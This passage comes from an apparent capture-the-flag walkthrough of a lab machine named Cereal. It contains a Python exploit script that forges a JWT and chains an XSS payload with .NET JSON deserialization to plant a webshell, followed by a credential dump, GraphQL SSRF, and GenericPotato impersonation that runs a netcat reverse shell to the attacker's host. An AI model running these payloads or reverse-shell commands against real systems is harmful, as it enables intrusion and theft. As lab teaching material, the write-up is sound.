xss_payload = {"json":"{\"title\":\"[XSS](javascript: document.write%28%22<script>window.location = 'http://10.10.14.15/location';</script>%22%29)\",\"flavor\":\"bacon\",\"color\":\"#FFF\",\"description\":\"\"}"}
resp = requests.post(f'https://{target}/requests', json=xss_payload, headers=headers, verify=False)
print(resp.text)  

I had to use encoding for characters like ()" as %28, %29, and %22 respectively order for it not close out something prematurely. I was also able to write a <script> tag that had JavaScript in it and would run.

File Upload

At this point there’s one more piece I need to complete this exploit. There’s a DownloadHelper.cs file in the source root. It defines a single class, DownloadHelper, which has public functions to set URL and FilePath, and on setting each, the private Download function is called, which gets a file from URL and saves it at FilePath (with a slight modification).

public class DownloadHelper
{
    private String _URL;
    private String _FilePath;
    public String URL
    {
        get { return _URL; }
        set
        {
            _URL = value;
            Download();
        }
    }
    public String FilePath
    {
        get { return _FilePath; }
        set
        {
            _FilePath = value;
            Download();
        }
    }

    //https://stackoverflow.com/a/14826068
    public static string ReplaceLastOccurrence(string Source, string Find, string Replace)
    {
        int place = Source.LastIndexOf(Find);

        if (place == -1)
            return Source;

        string result = Source.Remove(place, Find.Length).Insert(place, Replace);
        return result;
    }

    private void Download()
    {
        using (WebClient wc = new WebClient())
        {
            if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
            {
                wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
            }
        }
    }
}

So if I can create one of these objects, then it will download a file to a location of my choosing.

Shell as sonny

Strategy

All of this comes together to form the exploit:

  • I’ll submit a cereal request that creates an entry in the database with a string that will be deserialized to create a DownloadHelper object.
  • The server will respond with “Great cereal request!” and the ID of the request, which I’ll note.
  • I’ll send another request, this time with an XSS payload in the title that will made the user on Cereal send a GET request to /requests/[id of first request].
  • The server will get and deserialize the first request, creating the DownloadHelper object.
  • The DownloadHelper object, on coming into existence and setting the URL and the file path, will try to download the file and save it on Cereal.

RCE Script

I’ll grab a copy of cmdasp.aspx from /usr/share/webshells that comes on Parrot (or Kali).

Now I’ll start building a Python script to exploit this. I’ll build off the JWT forging script I had earlier, changing it to store the token rather then print it. I’ll also add some code to handle parameters:

#!/usr/bin/env python3

import jwt
import requests
import sys
from datetime import datetime, timedelta
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


# Get args
try:
    ip = sys.argv[1]
    url = sys.arv[2]
    saveas = sys.argv[3]
except IndexError:
    print(f'Usage: {sys.argv[0]} [IP] [url to upload] [filename on target]')
    sys.exit()
    
# Forge JWT
jwt = jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256")
headers = {'Authorization': f'Bearer {jwt}', 'Content-Type': 'application/json'}

Submit Serialized Payload

Next I need to add the request to put the serialized object into the DB. This paper from Blackhat has a ton of information on JSON deserialization. Looking at the payloads, the format typically goes:

{"$type": "[class.object]", "[class]", "version=[version]", "[parameter]": "[value]", "[parameter]": "[value]", ...}

I think version is optional, as it’s a keyword argument. With some playing around, I got this:

# Send DownloadHelper object as JSON
serial_payload = {"json": "{'$type':'Cereal.DownloadHelper, Cereal','URL':'" + url + "','FilePath': 'C:\\\\inetpub\\\\source\\\\uploads\\\\" + saveas + "'}"}
resp = requests.post(f'https://{target}/requests', json=serial_payload, headers=headers, verify=False)
if resp.status_code != 200:
    print('[-] Something went wrong')
    sys.exit()
serial_id = resp.json()['id']
print(resp.text)

The JSON payload is a single key, json, with a string of JSON as the value, just like in legit POSTs. It took me a while to figure out that for the DownloadHelper object to be created, it seems like the request only happens if I give a valid location to write. I found a directory during enumeration that I can place on disk at C:\inetpub\source\uploads, and that seems like a logical place that the webserver could write, so I hard-coded that into the script.

XSS

With the serialized payload in the database, I’m going to use the XSS to have Cereal make a request to /requests/[id]. I can write a <script> tag with JavaScript in it that is executed. I’ll have it execute a XMLHttpRequest to fetch the malicious object. I’ll need to add the JWT token in as a header as well.

# Send XSS payload
xss_payload = {"json":"{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://"+ target + "/requests/" + str(serial_id)+"', true%29;xhr.setRequestHeader%28'Authorization','Bearer "+token+"'%29;xhr.send%28null%29</script>%22%29)\", \"flavor\":\"pizza\", \"color\":\"#FFF\", \"description\":\"test\"}"}

resp = requests.post(f'https://{target}/requests', json=xss_payload, headers=headers, verify=False)
print(resp.text)

Final Script

The final script runs, and making two requests to Cereal:

oxdf@parrot$ python3 rce.py cereal.htb http://10.10.14.15/cmdasp.aspx 0xdf.aspx
[*] Forging JWT token
[*] Sending DownloadHelper serialized object
[+] Object uploaded: {"message":"Great cereal request!","id":9}
[*] Sending XSS payload
[+] XSS payload sent: {"message":"Great cereal request!","id":10}

A few minutes later, there’s a request for the webshell:

10.10.10.217 - - [27/Apr/2021 17:56:17] "GET /cmdasp.aspx HTTP/1.1" 200 -

Checking that url, it’s there:

image-20210427180233487

And it runs commands:

image-20210427192054343

Password

Originally I used the webshell to get a reverse shell. But on more enumeration, that proved unnecessary.

In the web directory C:\inetpub\cereal, there’s a db directory that contains a single file:

image-20210427203554690

Calling type on it dumps it out, much of which is binary garbage, but also the rest of which gives some clues:

image-20210427203807825

The DB is SQLite, and there are a handful of tables there. I can see the XSS cereal request in the text. Another table is the Users table, which includes username and password fields.

At the very bottom, there’s the string sonny, and then mutual.madden.manner38974.

To see this more clearly, I uploaded a better ASPX webshell:

image-20210428070756319

I’ll right-click on cereal.db and Save Link As… the file so I have it locally to investigate:

oxdf@parrot$ file cereal.db 
cereal.db: SQLite 3.x database, last written using SQLite version 3028000

Opening it, I can dump the Users table and get the password:

oxdf@parrot$ sqlite3 cereal.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
Requests               Users                  __EFMigrationsHistory
sqlite> select * from Users;
1|sonny|mutual.madden.manner38974|

SSH

Those creds work to auth as sonny over SSH:

oxdf@parrot$ sshpass -p 'mutual.madden.manner38974' ssh sonny@10.10.10.217
Microsoft Windows [Version 10.0.17763.1817]                                                              
(c) 2018 Microsoft Corporation. All rights reserved. 
                                                    
sonny@CEREAL C:\Users\sonny>

And collect user.txt:

sonny@CEREAL C:\Users\sonny\Desktop>type user.txt
cbc1c58b************************

Shell as root

FailedPotato

Enumeration

The box is running Windows 10:

sonny@CEREAL C:\Users\sonny>ver 

Microsoft Windows [Version 10.0.17763.1817]

On getting a shell, I’ll check whoami /priv, and it shows SeImpersonatePrivilege, just what I was hoping to see:

sonny@CEREAL C:\Users\sonny>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

This means that if I can get a hold of a System or administrator token, I can run code as that user. The common way to do that on Windows 10 / Server 2016+ is using RoguePotato or SweetPotato. Each of these use different ways to get a process running as SYSTEM to connect to a named pipe that I control, and can use to read that processed token, and then impersonate it. I abused this a bit more manually in HackBack to escalate to the Hacker user.

RoguePotato

I’m more comfortable with RoguePotato having used it several times before (like Remote). Rogue is an update from JuicyPotato and the versions before that that abuse an RPC call to get that connection by standing up a fake OXID resolver. The issue is that in Windows 10 / Server 2016+, Windows will only try that RPC connection on TCP 135. You can still specify the host to connect to. Since Windows already has the legit service listening on 135, RoguePotato tells Windows to connect to my host on 135, where either I’m running the fake OXID resolver or I have socat setup to pipe it back to the port of my choosing on the target (where RogePotato is running the OXID resolver).

After uploading it, starting the socat redirector, and running it, there’s never a connection back:

PS C:\programdata> .\rp.exe -r 10.10.14.15 -e "cmd.exe /c ping 10.10.14.15" -l 9999
[+] Starting RoguePotato...
[*] Creating Rogue OXID resolver thread
[*] Creating Pipe Server thread..
[*] Creating TriggerDCOM thread...
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] Listening on pipe \\.\pipe\RoguePotato\pipe\epmapper, waiting for client to connect
[*] Calling CoGetInstanceFromIStorage with CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}                  
[*] IStoragetrigger written:104 bytes
[-] Named pipe didn't received any connect request. Exiting ...  

Some troubleshooting shows that it looks like outbound TCP 135 is blocked. When I try to connect back on 80, it works:

PS C:\Users\sonny> wget 10.10.14.15/test -usebasicparsing


StatusCode        : 200
StatusDescription : OK
Content           : {116, 101, 115, 116...}
RawContent        : HTTP/1.0 200 OK
                    Content-Length: 10
                    Content-Type: application/octet-stream
                    Date: Tue, 25 May 2021 19:00:38 GMT
                    Last-Modified: Tue, 25 May 2021 19:01:16 GMT
                    Server: SimpleHTTP/0.6 Python/3.9.2

                    t...
Headers           : {[Content-Length, 10], [Content-Type, application/octet-stream], [Date, Tue, 25 May 2021 19:00:38 GMT], [Last-Modified, Tue, 25 May 2021 19:01:16 GMT]...}
RawContentLength  : 10

But if I change the webserver and the request to 135, it fails to connect:

PS C:\Users\sonny> wget 10.10.14.15:135/test -usebasicparsing
wget : Unable to connect to the remote server 
At line:1 char:1
+ wget 10.10.14.15:135/test -usebasicparsing
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

SweetPotato / PrintSpoofer

SweetPotato and PrintSpoofer get Windows to connect to them using a print job via the Print Spooler service. The problem for Cereal is that the OS is actually Windows Server Core:

PS C:\> gci 'hklm:\software\microsoft\windows nt\currentversion\server'

    Hive: HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\server

Name                           Property
----                           --------
ServerLevels                   ServerCore : 1

ServerCore doesn’t include the Spooler service. To be sure, I can look for it:

PS C:\Users\sonny> Get-Service -Name Spooler
Get-Service : Cannot find any service with service name 'Spooler'. 
At line:1 char:1
+ Get-Service -Name Spooler
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Spooler:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

I’ll give up on that for now.

Internal Site

Identification

Looking at the netstat on Cereal, there are several services listening that I didn’t see in the original nmap:

sonny@CEREAL C:\Users\sonny>netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       1628
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4   
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       856 
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4   
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4   
  TCP    0.0.0.0:8172           0.0.0.0:0              LISTENING       4   
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       468
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       336
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1068
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       604
  TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       612
...[snip]...

8080 is interesting, as it looks like a potential webserver. I’ll disconnect the SSH session, and reconnect with a -L 8888:127.0.0.1:8080 to listen on my localhost TCP 8888, and forward traffic through SSH to 8080 on Cereal. Then visiting http://127.0.0.1:8888 loads page:

image-20210525160749074

The page is super simple, with no interaction or links or anything.

Source

The page source is only 51 lines of HTML:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cereal System Manager</title>
    <link href="/Content/css?v=uQr9KGXY_vFMFUJtBQLxEUgRaaijzny-3DN_2oS8W-g1" rel="stylesheet"/>

    <script src="/bundles/modernizr?v=inCVuEFe6J4Q07A0AcRsbJic_UE5MwpRMNGcOtk94TE1"></script>

</head>
<body>
    <div class="container body-content">
        
<div class="jumbotron">
    <h1>Manufacturing Plant Status</h1>
</div>

<table class="table">
    <thead>
        <tr>
            <th scope="col">#</th>
            <th scope="col">Location</th>
            <th scope="col">Status</th>
        </tr>
    </thead>
    <tbody id="opstatus">
        <tr>
        </tr>
    </tbody>
</table>

<script>
    fetch('/api/graphql', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        },
        body: JSON.stringify({ query: "{ allPlants { id, location, status } }" })
    }).then(r => r.json()).then(r => r.data.allPlants.forEach(d => document.getElementById('opstatus').innerHTML += `<tr><th scope="row">${d.id}</th><td>${d.location}</td><td>${d.status}</td></tr>`))
</script>
    </div>

    <script src="/bundles/jquery?v=9ktsOtIo0upvJP7-7FiXuOoOJe58RLFJ__wIRPL2vGo1"></script>

    <script src="/bundles/bootstrap?v=APNaV4UVBnOtVvyWFX-SYNvrcsepKaH8yU1vdoDjhk41"></script>

    
</body>
</html>

The table is actually empty in the source. The embedded JavaScript that follows it is populating the table by making a POST query to /api/graphql and then looping over the results adding rows to the table.

I can recreate that same query directly using curl:

oxdf@parrot$ curl -X POST http://127.0.0.1:8888/api/graphql -H 'Content-Type: application/json' -d '{ "query": "{allPlants { id, location, status } }" }'
{
  "data": {
    "allPlants": [
      {
        "id": "1",
        "location": "707 Antarctic Lane",
        "status": "OPERATIONAL"
      },
      {
        "id": "2",
        "location": "221b Cereal Street",
        "status": "HALTED"
      }
    ]
  }
}

GraphQL Enumeration

Manual

Hacktricks has a good page on enumerating GraphQL. The query format is a bit weird if you’re not used to it, but basically it looks like:

curl -d '{ "query": "[query]" }' -X POST http://127.0.0.1:8888/api/graphql -H 'Content-Type: application/json' 

This query will shows the types being used: query={__schema{types{name,fields{name}}}}. That looks like:

oxdf@parrot$ curl -d '{ "query": "{__schema{types{name,fields{name}}}}" }' -X POST http://127.0.0.1:8888/api/graphql -H 'Content-Type: application/json'
{                                  
  "data": {                             
    "__schema": {                  
      "types": [ 
...[snip]...
        {                                           
          "name": "Query",                          
          "fields": [                               
            {                                       
              "name": "allCereals"                  
            },                                      
            {                                       
              "name": "allPlants"                   
            },                                      
            {                                       
              "name": "cereal"                      
            },                                      
            {                                       
              "name": "plant"                       
            }                                       
          ]                                         
        },                                          
        {                                           
          "name": "Cereal",                         
          "fields": [                               
            {                                       
              "name": "id"                          
            },                                      
            {                                       
              "name": "ingredients"                 
            },                                      
            {                                       
              "name": "name"                        
            }                                       
          ]                                         
        },                                          
        {                                           
          "name": "Plant",                          
          "fields": [                               
            {                                       
              "name": "cereals"                     
            },                                      
            {                                       
              "name": "id"
            },                                      
            {                                       
              "name": "location"                    
            },                                      
            {                                       
              "name": "status"                      
            }                                       
          ]                                         
        },                                          
        {                                           
          "name": "Status",                         
          "fields": null                            
        },                                          
        {                                           
          "name": "Mutation",                       
          "fields": [                               
            {                                       
              "name": "haltProduction"              
            },                                      
            {                                       
              "name": "resumeProduction"            
            },                                      
            {                                       
              "name": "updatePlant"                 
            }                                       
          ]                                         
        }                                           
      ]                                             
    }                                               
  }                                                 
}

I cut out a bunch of stuff, but there’s a few interesting take aways here:

  • There are four queries, allCereals, allPlants, cereal, and plant.
  • A Cereal object has three fields: id, ingrediants, and name.
  • A Plant object has four fields: id, cereals, location, and status.
  • There are three named mutations: haltProduction, resumeProduction, and updatePlant. A mutation is a function that can be used to update the database.

Hacktricks gives another query to pull more data, including the arguments for the mutations:

oxdf@parrot$ curl -d '{ "query": "{__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}" }' -X POST http://127.0.0.1:8888/api/graphql -H 'Content-Type: application/json'
...[snip]...
        {
          "name": "Mutation",
          "fields": [
            {
              "name": "haltProduction",
              "args": [
                {
                  "name": "plantId",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                }
              ]
            },
            {
              "name": "resumeProduction",
              "args": [
                {
                  "name": "plantId",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                }
              ]
            },
            {
              "name": "updatePlant",
              "args": [
                {
                  "name": "plantId",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                },
                {
                  "name": "version",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Float",
                      "kind": "SCALAR"
                    }
                  }
                },
                {
                  "name": "sourceURL",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "String",
                      "kind": "SCALAR"
...[snip]...

With this I can define the three mutations as something like:

haltProduction(int plantId)
resumeProduction(int plantId)
updatePlant(int plantId, float version, string sourceURL)

GraphQL Voyager

GraphQL Voyager is a tool for visualizing GraphQL databases. On visiting, it loads a default db with some dummy data. I’ll click Change Schema, and then go to the Introspection tab:

image-20210525173627726

Clicking Copy Introspection Query puts a huge query onto my clipboard. I’ll then go into a curl and paste it in between the two quotes here:

curl -d '{ "query": "" }' -X POST http://127.0.0.1:8888/api/graphql -H 'Content-Type: application/json' | jq -c .

It’s multiple lines and creates a mess, but it will run. The resulting data is also huge, so I’m using jq to print it on a single line to more easily copy it. The result is large, but manageable:

image-20210525174038880Click for full size image

I’ll paste that all into the textarea, and click Display:

image-20210525174110193

This doesn’t show mutations, but it does show a very nice relationship between the elements.

GraphQL-Playground

Another cool tool to look at it GraphQL-Playground. There’s a Deb package in the latest release link, which I’ll download and install with sudo dpkg -i graphql-playground-electron_1.8.10_amd64.deb. On opening it, it asks me to create a workspace:

image-20210527162525418

I’ll give it a url endpoint of http://127.0.0.1:8888/api/graphql and click open. There’s an IDE here I can use to run queries, but the DOCS button on the right is what I’m really interested in. Clicking it will bring out the queries and mutations in the DB, and clicking on one of those will show details:

image-20210527163023098

SSRF

I’m really interested in the updatePlant mutation because it takes a URL. That implies that it will visit that url to get some additional data. If I can make that go other places, I could have a server-side request forgery (SSRF) vulnerability.

I’ll craft a query to call the mutation giving it a sourceURL of my VM. The query instantly returns with data that seems to indicate failure:

oxdf@parrot$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://10.10.14.15/ssrf-test\")}" }' -X POST http://127.0.0.1:8888/api/graphql -H 'Content-Type: application/json' -s | jq -c .
{"data":{"updatePlant":false}}

At my Python webserver, there’s a request:

10.10.10.217 - - [25/May/2021 17:42:08] code 404, message File not found
10.10.10.217 - - [25/May/2021 17:42:08] "GET /ssrf-test HTTP/1.1" 404 -

It seems like the update failed because the server returned 404, which makes sense.

GenericPotato

Background

GenericPotato describes itself as:

A modified version of SweetPotato by @EthicalChaos to support impersonating authentication over HTTP and/or named pipes. This allows for local privilege escalation from SSRF and/or file writes.

That is exactly what I need here. I can use it to create an HTTP listener on Cereal, and then have the SSRF connect to that HTTP service. GenericPotato will steal the token and run a command for me as the user running the web server, probably system. The blog post that accompanies the repo is really well written and goes into some good detail. I highly recommend giving it a read.

Build

I’ll open a Windows VM and download the GenericPotato zip from Github. After unzipping, I’ll double-click the .sln file:

image-20210525175219888

It’ll open in Visual Studio. I don’t think I need to change anything, but even if I did, I’ll always build the default version first and make sure it builds. If I skipped this step, and something failed when I make modifications, then I don’t know if it’s in my changes or the project as downloaded.

I’ll set the context to Release, and since there’s no x64 option, just leave it as Any CPU.

image-20210525175451099

Then I’ll pick Build Solution from the Build menu, and it generates two binaries:

image-20210525204046149

Upload Files

Because I set up my routing between my Windows VM and my Parrot VM, I can just scp from this VM onto Cereal:

PS C:\Users\0xdf\Desktop\GenericPotato-main\bin\Release > scp .\GenericPotato.exe sonny@10.10.10.217:\programdata\
sonny@10.10.10.217's password:
GenericPotato.exe                 100%  668KB 836.7KB/s   00:00

I’ll also scp a nc64.exe to Cereal:

oxdf@parrot$ sshpass -p 'mutual.madden.manner38974' scp /opt/shells/netcat/nc64.exe sonny@10.10.10.217:\\programdata\\nc64.exe

Both file are there:

PS C:\programdata> ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-        9/15/2018  12:21 AM                Microsoft
d-----       11/18/2020  10:11 AM                Package Cache
d-----       11/11/2020  11:50 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:12 AM                SoftwareDistribution
d-----        3/16/2021   4:38 AM                ssh
d-----       11/11/2020  11:53 AM                USOPrivate
d-----       11/11/2020  11:53 AM                USOShared
d-----       11/11/2020  11:48 AM                VMware
-a----        5/25/2021   5:48 PM         683520 GenericPotato.exe
-a----        5/25/2021   5:52 PM          45272 nc64.exe

Run

Now it’s just a matter of running GenericPotato and triggering the SSRF. It’s important to note that the args are slightly different than RoguePotato, in that they take a -p for the process to run, and -a for an argument string for that process.

PS C:\programdata> .\GenericPotato.exe -p "C:\programdata\nc64.exe" -a "10.10.14.15 443 -e powershell" -e HTTP
GenericPotato by @micahvandeusen
  Modified from SweetPotato by @_EthicalChaos_

[+] Starting HTTP listener on port http://127.0.0.1:8888
[+] Listener ready

It’s now listening for HTTP on port 8888 (I could change that with -l).

I’ll trigger the SSRF, which will get the SYSTEM process to connect to it:

oxdf@parrot$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://localhost:8888\")}" }' -X POST http://127.0.0.1:8888/api/graphql -H 'Content-Type: application/json' -s | jq -c .
{"data":{"updatePlant":false}}

It returned false, but back at GenericPotato:

[+] Starting HTTP listener on port http://127.0.0.1:8888
[+] Listener ready
Request for: /
Client: NT AUTHORITY\SYSTEM
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching C:\programdata\nc64.exe
[+] Running "C:\programdata\nc64.exe" 10.10.14.15 443 -e powershell
[+] Process created, enjoy!

It receives a request from a process running as SYSTEM, duplicates the token, launches nc, and exits. At my nc listener, it returns a shell:

oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.217] 51109
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system

And I can grab the final flag:

PS C:\users\administrator\desktop> type root.txt
712cc9bf************************

Beyond Root

My theory was that I couldn’t access /admin on the main page because of the IP restrictions. Once I had SSH as sonny, I wanted to test that. I connected the SSH using -D to create a socks proxy going over the SSH session:

oxdf@parrot$ sshpass -p 'mutual.madden.manner38974' ssh sonny@10.10.10.217 -D 8888
Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved. 

sonny@CEREAL C:\Users\sonny>

I created a new proxy in FoxyProxy:

image-20210527145430876

When I enable this, it will try to proxy all Firefox traffic through localhost port 8888. I’ll file a couple cereal requests (they seem to get cleared as the admin views them), and then load /admin. It worked!

image-20210527145530251
[XSS](javascript: document.write%28%22<script>alert(1)</script>%22%29)